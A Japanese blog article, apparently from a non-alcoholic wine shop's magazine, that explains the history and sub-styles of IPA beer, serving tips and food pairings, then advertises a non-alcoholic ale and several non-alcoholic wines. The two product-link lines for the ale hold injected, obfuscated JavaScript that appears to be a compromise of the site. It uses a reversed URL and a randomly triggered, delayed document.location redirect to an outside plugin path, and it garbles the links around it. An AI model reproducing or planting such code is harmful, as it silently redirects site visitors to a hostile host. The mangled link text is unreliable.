ノンアルコールワインを楽しむ皆様に。

   
2022/7/5 posted

人気No.1クラフトビール、IPAについて知りたい!

   

  ビール

 

クラフトビールにはさまざまなスタイルがありますが、その中でも人気なのがIPA(アイピーエー)。
華やかに香るホップ、強い苦味と厚みのある味わいは、一度飲むとクセになってしまうおいしさです。

今回のMELLOW magazineでは、今クラフトビール界で一番人気のビールスタイルであるこのIPAについて、誕生の歴史や種類、美味しく楽しむためのペアリングなどを幅広く解説します!

◇なぜ「インディアン」なの?IPA

現在、世界中のブリュワリーで製造されており、さまざまなスタイルのクラフトビールの中でもダントツの人気を誇るIPA。
その名前のIPAは、インディアン・ペール・エールを省略したもの。
しかし、「インディアン」と名前につきますが、もともとはイギリス生まれのビールです。
その誕生は18世紀後半に遡ります。

18世紀、イギリスの植民地だったインド。たくさんのイギリス人たちが住んでおいましたが、そのイギリス人向けに、当時イギリスで大人気だったペールエールと呼ばれるビールが輸出されていました。
しかし、当時のイギリスからインドまでの航海に要する期間は5カ月あまり。
長い航海の間に、揺れや温度変化の影響でビールの品質が著しく劣化して、飲めなくなってしまうのが悩みのタネでした。

そこで考え出されたのが、ビールの麦汁を濃くしてアルコール度を高め、ビールの苦味の元であり、同時に防腐作用のあるホップを大量に入れる方法。
こうして作られた、アルコール度が高く濃厚で苦味の強いビールは、腐敗することなくインドまでの輸送に耐えることができました。
そしてこのビールは、インド向けの輸出用のペールエールということで、”インディアン”・ペール・エールという名前で呼ばれるようになったのです。
このようにして、今のIPAの起源であるビールが誕生したのでした。

◇現在のIPAブームは、アメリカから始まった

こうして始めはインド向けだったIPAですが、インドで飲んでそのおいしさを知ったイギリス人たちから噂が広まって、イギリスでも人気を呼びます。しかし、1800年代後半を境に、いったんはその人気は廃れてしまします。

その後、IPAが復権するのは1980年代のアメリカ。
禁酒法の時代に自家醸造をおこなう文化が根付いていたアメリカでは、1960年ごろから、大手メーカーのワンパターンで面白みのない味わいのビールとは一味違った、こだわりのビールを生産する個性的なマイクロブリュワリーが増加し始めました。
そして、1980年頃から、アメリカ産のホップを利用したIPAが生産されるようになります。
アメリカで品種改良されて誕生したアメリカ産ホップは、ヨーロッパ産ホップに比べて苦味成分であるフムロンの含有量が高く、また、多様な香りの成分を含むことが特徴で、グレープフルーツやオレンジなどの柑橘、松脂、トロピカルフルーツなどのさまざまな香りを持つホップがあります。
ホップを大量に使用するIPAは、このアメリカ産ホップの苦みと香りという特徴を最大限に引き出すことのできるビアスタイルだったのです。

強い苦みと、華やかなホップの香り、ガツンとした飲みごたえがクセになるアメリカ産IPA(アメリカンIPA)は世界的に爆発的な人気を呼び、IPAは現在のクラフトビール界の中でも最も人気のあるスタイルとなりました。

◇IPAにもいろいろな種類がある!

IPA人気、ひいてはクラフトビール人気の火付け役となったアメリカンIPAですが、それ以外にもIPAにはさまざまなサブスタイルがあります。
ここでは、数々のIPAの種類を見てみましょう。

・イングリッシュIPA

イギリス産ホップを使用した、本家本元のIPA。
アルコール度は5~7.5%程度、色合いは一般的なラガービールより濃く琥珀がかっていて、ビターな味わい。
濃厚な麦芽の味わいと、イギリス産ホップの特徴である若草や、ダージリン紅茶のような香りがあります。

・アメリカンIPA(ウエストコーストIPA)

カリフォルニア州やオレゴン州のあるアメリカ西海岸のにはアメリカを代表するクラフトブリュワリーが多数ありますが、このエリアで作られる、北米産ホップを使用したIPAをアメリカンIPA(ウエストコーストIPA)といいます。
アメリカ産ホップならではのアロマの効いた華やかな香りと、苦ウマいフレーバーが特徴です。
アルコール度は5~7.5%程度で、色合いは一般的なビールより濃くオレンジ色〜琥珀がかっています。

・インペリアルIPA(ダブルIPA)

スタンダードなIPAをさらにレベルアップさせたインペリアルIPA。
Imperial IPAを省略するとIIPAとなり、頭にアルファベットのIが2つ続くことから、別名ダブルIPAとも呼ばれます。

通常のIPAよりホップの量を増量し、アルコール度も7.5~10%程度と高く、色合いも琥珀色からキャラメル色と濃くなります。濃厚な麦芽の味わいと、麦芽由来の豊かな甘み、強いホップの香りと苦みが特徴のIPAです。
なお、インペリアルよりさらにホップを増量した、トリプルIPAという、強烈な味わいのビールも存在します。

・セッションIPA

クラフトビールの中でも、アルコール度を低く抑えたビールをSession(セッション)と呼びます。
セッションIPAは、IPAらしいキレのある苦味と華やかなホップの香りを保ちつつも、アルコール度を一般的なラガービール並のの3.5〜5%程度に抑えているので、とても飲みやすいのが特徴。
IPAを始めて飲むという方や、「IPAは苦すぎる」「IPAは味が濃すぎて苦手」という人にぜひおすすめしたいスタイルです。
夏場にサッパリと爽やかに飲みたい時にもいいですね。

・ブラックIPA、ホワイトIPA

ブラックIPAは、いわば黒ビールのIPA版。
ローストした麦芽を使用しているため、色は黒ビールのようにダーク。
チョコレートやコーヒーを思わせる麦芽のロースト香にIPAならではの鮮烈なホップの香りが加わり、苦味の効いた個性あふれる味わいです。

対して、ホワイトIPAは、ベルギーの小麦ビール・ベルジャンホワイトをベースに作られたIPA。
苦味は控えめ。小麦ビールのまろやかな味わいに、IPAならではのフルーティーなホップの香りが加わった、飲みやすいIPAです。


・NEIPA(ニューイングランドIPA)

ウエストコーストIPAに対して、2015年ごろからアメリカの東海岸・ニューイングランド州で作られるようになったIPAがNEIPA(ニューイングランドIPA)。
NEIPAには、大量のホップを、ドライホッピングという煮沸せず漬け込む方法で加えます。そのため、フレッシュなホップが濃厚に香るだけではなく、ホップの苦味成分の抽出が少ないため、IPAなのに苦味が少ないのが特徴です。
また、小麦麦芽やオーツ麦を使用するため、オレンジジュースのような白濁したオレンジ色をしており、その濁りから、Hazy(ヘイジー; 濁った、という意味の英語)IPA、フルーティーでジューシーな味わいから、ジューシーIPAなどと呼ばれることもあります。
苦味控えめ、ホップ由来のトロピカルフルーツのようなフレーバーと柔らかでなめらかな口当たりはとても飲みやすく、ビールは苦くて好きじゃないという方も美味しく飲むことのできるビールです。
歴史は新しいもの、近年人気が非常に高まっているIPAです。
最近は、IPAと言っても、必ずしも高いアルコール度や強い苦味は必須ではなく、ホップを大量に添加し華やかな香りを持たせたスタイルのビールを広くIPAと呼ぶ傾向があるようです。

このように、IPAの中にも、実にさまざまな種類があるのです。
頭に入れておくと、ビアバーでIPAを選ぶときの楽しみが広がりそうですね!

◇IPA、美味しい楽しみ方は?

私たちが普段飲みなれているラガービールと違って、濃厚な味わいと華やかなホップのフレーバーが香るIPAは、飲み方にこだわることでさらに美味しく楽しむことができます。

・キンキンに冷やしてはダメ!

夏場にはキンキンに冷やしたビールを、凍らせたビールジョッキでゴクゴク飲みたいもの。
ですが、この飲み方はアルコール度が低く、キレのある喉越しを楽しむラガービールに合う飲み方です。

風味と香りを楽しむビールといわれるIPA。その濃厚な口当たりと華やかな香りを堪能するには、キンキンに冷やしてはダメ。低温では、IPAの最大の魅力である香りが立たなくなってしまいます。
IPAの飲み頃温度は8℃~12℃程度のやや高い温度。冷蔵庫から出したビールを少し室温になじませてから、常温のグラスに注ぐとちょうど飲み頃温度になります。

・できるなら専用グラスで楽しんでみよう!

また、IPAの特徴である、華やかなホップの香りをシッカリとらえるためには、ビールジョッキやピルスナーのような飲み口が開いたグラスではなく、ボディが膨らんで飲み口がすぼまったタイプのグラスがおすすめです。

おすすめは、IPAのおいしさを最大限に引き出すように作られたIPAグラス。
卵型に膨らんだ飲み口部分が、グラス内にビールの香りを閉じ込め、また、グラス下部の持ち手にあたる部分が凸凹に波打った構造になっており、グラスを傾けるたびにこの部分をビールが通過して泡立つため、最後まで泡をキープしてくれます。
IPAグラスがない場合は、ビール用のチューリップグラスや、ワイングラスで代用しても良いでしょう。

◇IPAとマッチングするのはこの食べ物

鮮烈なホップの香りと濃い苦みのIPAにマッチするのは、ビールに釣り合うくらいの強い個性を持ったお料理です。
また、苦みの強いIPAは脂っこい料理とも好相性で、苦みが脂っぽくなった口の中をスッキリとさせてくれます。

例えば、
・スパイスをたっぷり使ったカレー風味の料理
・餃子や角煮など、脂たっぷりの中華料理
・ニンニクなどを効かせた、香りの強い料理
・グリルした肉料理やハンバーガー
・塩をきかせたフライドポテト
・カツオのたたきやマグロのお刺身など、濃い味わいの赤身魚

など。
繊細な味わいの料理よりも、しっかりと濃い目の味つけのお料理と合わせるのが、上手にペアリングするコツです。

また、NEIPAのような苦みが少なく柔らかな口当たりのIPAであれば、フルーツやデザートと合わせてもよいでしょう。

◇IPA好きにおすすめのノンアルコールビールはこれだ!

IPA好きの皆様におすすめしたいのが、ベルギービールで作られたノンアルコールビール ビア・デザミ−0.0 です。

IPAを始めとするクラフトビールは、主に上面発酵(エール)と呼ばれる発酵方法で作られます。
エールビールは発酵中に酵母が作り出すエステルという芳香成分を含むため、独特のフルーティーな芳しさを持つのが特徴です。

ビアデザミ−0.0は、上面発酵により作られたエールビールを、真空蒸留により脱アルコールしたノンアルコールビール。
真空状態でアルコールの沸点を下げ、熱による香り・味の劣化を防ぐ32℃という低温で蒸留したため、エールビールの華やかな香りや風味はそのままにアルコールは0.0%。言われなければノンアルコールと気づかず飲んでしまう味わいです。
ベルギービール、クラフトビール好きの方なら絶対に満足いただける本格派ノンアルコールビールです。

【ノンアルコール】
BIERE DES AMIS 0.0% ビアー・デザミ0.0パーセント 

6本セット → toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000229″>クリックして商品を見る

12本セット → toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/news/20210114132654″>クリックして商品を見る

【こちらもご覧ください MELLOW過去記事】
・今さら聞けない、クラフトビールって何?
・ビールに欠かせないハーブ、ポップについて知りたい!
・個性派ぞろい!ベルギー・エールビールの魅力

MELLOWは本格ワインのノンアルコールワインをオススメします!

デュク・ドゥ・モンターニュ ブリュット

デュク・ドゥ・モンターニュ ブリュット/750ml

メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ/750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ/750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ(白) 製品

ヴィンテンス・シャルドネ(白)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー(赤) 製品

ヴィンテンス・メルロー(赤)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!